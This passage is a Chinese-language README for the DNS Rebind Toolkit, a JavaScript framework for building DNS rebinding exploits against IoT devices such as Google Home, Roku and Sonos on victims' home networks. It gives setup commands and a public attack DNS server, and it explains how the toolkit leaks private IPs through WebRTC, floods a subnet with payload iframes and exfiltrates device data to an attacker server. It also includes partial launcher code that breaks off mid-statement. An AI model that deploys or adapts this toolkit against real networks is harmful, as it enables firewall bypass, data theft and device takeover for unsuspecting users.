免责声明:本软件仅用于教育目的。本软件不得用于非法活动。作者对其使用不承担任何责任。别当混蛋。
DNS Rebind 工具包是一个前端 JavaScript 框架,用于针对局域网(LAN)上的脆弱主机和服务开发 DNS 重绑定 漏洞利用。它可用于攻击 Google Home、Roku、Sonos WiFi 音箱、WiFi 路由器、“智能”恒温器及其他物联网设备。使用此工具包,远程攻击者可以绕过路由器的防火墙,直接与受害者家庭网络上的设备交互,窃取隐私信息,在某些情况下甚至可以控制脆弱的设备本身。
该攻击要求目标网络上的受害者仅需点击一个链接,或浏览一个包含恶意 iframe 的 HTML 广告。之后,受害者的网页浏览器会被用作代理,直接访问连接到其家庭网络的其他主机。这些目标机器和服务通常无法从互联网被攻击者访问。远程攻击者可能不知道这些服务是什么,也不知道它们在受害者网络上占用哪些 IP 地址,但 DNS Rebind 工具包通过暴力猜测数百个可能的 IP 地址来处理这一问题。
在底层,该工具使用运行在 rebind.network:53 上的公共 whonow DNS 服务器 来执行 DNS 重绑定攻击,欺骗受害者的网页浏览器违反同源策略。然后,它利用 WebRTC 泄露受害者的私有 IP 地址,例如 192.168.1.36。它利用该本地 IP 地址的前三个八位组来猜测网络的子网,然后注入 256 个 iframe,从 192.168.1.0 到 255,向可能位于该网络子网上的每台主机发送载荷。
该工具包可用于开发和部署你自己的 DNS 重绑定攻击。工具包的 payloads/ 目录中包含几个真实世界的攻击载荷。这些载荷包括针对几款流行物联网设备(包括 Google Home 和 Roku 产品)的信息窃取(以及恶搞的“瑞克摇”)攻击。
该工具包是针对 DNS 重绑定攻击的独立安全研究的成果。你可以在此处阅读该原始研究。
# 克隆仓库
git clone https://github.com/brannondorsey/dns-rebind-toolkit.git
cd dns-rebind-toolkit
# 安装依赖
npm install
# 使用 root 权限运行服务器以访问特权端口 80
# 该脚本提供 www/、/examples、/share 和 /payloads 目录中的文件
sudo node server
默认情况下,server.js 提供针对 Google Home、Roku、Sonos 音箱、飞利浦 Hue 灯泡和 Radio Thermostat 设备的载荷,这些设备分别在端口 8008、8060、1400、80 和 80 上运行服务。如果你的家庭网络中有这些设备之一,请访问 http://rebind.network 获取一个惊喜 ;)。打开开发者控制台,观察这些服务被无害地利用,数据从它们那里被窃取并外泄到 server.js。
该工具包提供了两个 JavaScript 对象,可以一起使用来创建 DNS 重绑定攻击:
DNSRebindAttack:此对象用于对运行在已知端口上的脆弱服务发起攻击。它会为你选择攻击的每个 IP 地址生成一个载荷。DNSRebindAttack 对象用于创建、管理和与多个 DNSRebindNode 对象通信。DNSRebindAttack 生成的每个载荷必须包含一个 DNSRebindNode 对象。DNSRebindNode:此静态类对象应包含在每个 HTML 载荷文件中。它用于攻击一台主机上运行的一个服务。它可以与生成它的 DNSRebindAttack 对象通信,并且具有执行 DNS 重绑定攻击(使用 DNSRebindNode.rebind(...))以及将在攻击过程中发现的数据外泄到 server.js(DNSRebindNode.exfiltrate(...))的辅助函数。这两个脚本一起使用,对受防火墙保护的局域网上的未知主机执行攻击。一个基本的攻击过程如下:
http://example.com/launcher.html。launcher.html 包含一个 DNSRebindAttack 实例。http://example.com/launcher.html 嵌入为 iframe 的页面。这导致 launcher.html 上的 DNSRebindAttack 开始攻击。DNSRebindAttack 使用 WebRTC 泄露 发现受害者机器的本地 IP 地址(例如 192.168.10.84)。攻击者利用此信息选择要在受害者局域网内攻击的 IP 地址范围(例如 192.168.10.0-255)。launcher.html 对受害者子网上的一个 IP 地址范围发起 DNS 重绑定攻击(使用 DNSRebindAttack.attack(...)),针对单个服务(例如端口 8008 上可用的未文档化的 Google Home REST API)。DNSRebindAttack 将一个包含 payload.html 的 iframe 嵌入到 launcher.html 页面中。每个 iframe 包含一个 DNSRebindNode 对象,该对象对正在攻击的 IP 地址范围中单个主机的端口 8008 执行攻击。此注入过程持续进行,直到为攻击目标中的每个 IP 地址都注入了一个 iframe。payload.html 文件使用 DNSRebindNode 尝试与 whonow DNS 服务器 通信来执行重绑定攻击。如果成功,则违反同源策略,payload.html 可以直接与 Google Home 产品通信。通常,payload.html 会被编写成向目标设备发出若干 API 调用,并在攻击结束并销毁自身之前将结果外泄到运行在 example.com 上的 server.js。请注意,如果用户网络上有台未知 IP 地址的 Google Home 设备,并且对整个 192.168.1.0/24 子网发起攻击,那么一个 DNSRebindNode 的重绑定攻击会成功,另外 254 个会失败。
一次攻击由三个协调的脚本和文件组成:
DNSRebindAttack 实例的 HTML 文件(例如 launcher.html)payload.html)。该文件由 DNSRebindAttack 为每个被攻击的 IP 地址嵌入到 launcher.html 中。server.js),用于提供上述文件并在需要时外泄数据。launcher.html以下是一个 HTML 启动器文件的示例。你可以在 examples/launcher.html 中找到完整文档。
<!DOCTYPE html>
<head>
<title>Example launcher</title>
</head>
<body>
<!-- This script is a depency of DNSRebindAttack.js and must be included -->
<script type="text/javascript" src="/share/js/EventEmitter.js"></script>
<!-- Include the DNS Rebind Attack object -->
<script type="text/javascript" src="/share/js/DNSRebindAttack.js"></script>
<script type="text/javascript">
// DNSRebindAttack has a static method that uses WebRTC to leak the
// browser's IP address on the LAN. We'll use this to guess the LAN's IP
// subnet. If the local IP is 192.168.1.89, we'll launch 255 iframes
// targetting all IP addresses from 192.168.1.1-255
DNSRebindAttack.getLocalIPAddress()
.then(ip => launchRebindAttack(ip))
.catch(err => {
console.error(err)
// Looks like our nifty WebRTC leak trick didn't work (doesn't work
// in some browsers). No biggie, most home networks are 192.168.1.1/24
launchRebindAttack('192.168.1.1')
})
function launchRebindAttack(localIp) {
// convert 192.168.1.1 into array from 192.168.1.0 - 192.168.1.255
const first3Octets = localIp.substring(0, localIp.lastIndexOf('.'))
const ips = [...Array(256).keys()].map(octet => `${first3Octets}.${octet}`)
// The first argument is the domain name of a publicly accessible
// whonow server (https://github.com/brannondorsey/whonow).
// I've got one running on port 53 of rebind.network you can to use.
// The services you are attacking might not be running on port 80 so
// you will probably want to change that too.
const rebind = new DNSRebindAttack('rebind.network', 80)